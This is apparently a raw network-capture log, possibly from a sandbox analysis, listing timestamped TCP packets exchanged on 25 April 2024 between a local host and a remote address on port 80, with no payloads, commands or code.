Apr 25, 2024 21:48:02.066307068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066335917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066344023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066354036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066401958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066582918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066629887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066772938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066787004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066809893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066821098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066837072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066845894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066883087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066907883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.066930056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066947937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.066956997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067001104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067197084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067212105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067241907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067244053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067260027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067276955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067317009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067358971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067388058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067409039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067420006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067435980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067452908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067531109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067578077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067595005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067634106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067636013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067648888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067676067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067684889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067692995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067730904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067792892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067837954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067863941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067877054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067902088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067913055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067925930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.067972898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.067990065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068032980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068037987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068054914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068078041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068089008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068109035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068146944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068154097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068173885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068182945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068186045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068208933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068217993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068231106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068270922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068274021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068315029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068329096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068350077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068371058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068382025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068782091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068805933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068845987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068869114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068881035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068907976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068924904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068932056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068955898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068969011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.068970919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.068979979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069000959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069000959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069014072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069027901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069076061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069165945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069210052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069359064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069402933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069422960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069466114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069503069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069547892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069598913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069622040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069643021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069658041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069680929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069726944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069744110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069786072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069926023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069937944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.069968939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069983959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.069991112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070003986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070024967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070029020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070038080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070066929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070074081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070113897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070137978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070177078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070249081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070292950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070302010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070313931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070336103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070342064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070365906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070374012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070404053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070420027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070461035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070482016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070494890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070524931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070537090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070549965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070591927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070612907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070625067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070657015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070794106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.070837975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.070980072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071024895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071036100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071070910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071423054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071466923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071619034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071660042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071661949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071695089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071703911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071716070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071747065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.071754932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.071798086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072004080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072048903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072082996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072094917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072129011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072210073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072251081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072359085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072405100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072822094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072865963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.072874069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.072902918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073107004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073152065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073244095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073256016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073287964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073299885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073323965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073365927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073379993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073425055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073441982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073483944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073491096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073525906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073538065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073581934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073584080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073606968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073627949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073631048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073645115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073656082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073738098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073782921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073870897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073905945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073916912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073920012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.073941946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073951960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.073990107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074031115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074032068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074071884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074074030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074115038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074127913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074172020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074194908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074209929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074220896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074237108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074249983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074290991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074316978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074338913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074357033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074373960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074399948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074410915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074443102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074449062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074495077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074574947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074587107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074624062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074646950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074688911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074713945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074726105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074736118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074762106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074785948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074806929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074847937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074851990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074865103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074893951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074908972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.074914932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.074958086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.075754881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.075802088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.076508045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.076550007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.078929901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.078954935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.078978062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.078991890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079025030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079066038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079140902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079166889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079189062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079200983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079237938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079277039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079282999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079312086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079351902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079395056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079416990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079456091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079478979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079504013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079524994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079536915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.079591036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079602003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.079634905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.118647099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.118678093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.118716955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.118737936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.119932890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.119946003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.119976044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120001078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120058060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120091915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120096922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120130062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120158911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120202065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120206118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120244980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120254040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120289087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120347023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120358944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120387077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120397091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120409966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120450020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.120475054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.120515108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.121835947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121848106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121860027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121895075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.121908903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121922016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121929884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.121943951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.121959925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.121982098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.122468948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.122513056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.122977972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123017073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123025894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123049974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123061895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123080969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123090982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123126984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123187065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123223066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123234987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123275042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123296976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123334885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123359919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123384953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123400927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123418093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123428106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123462915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123483896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123511076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123521090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123555899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.123629093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.123668909 CEST	49704	80	192.168.2.5	185.172.128.76
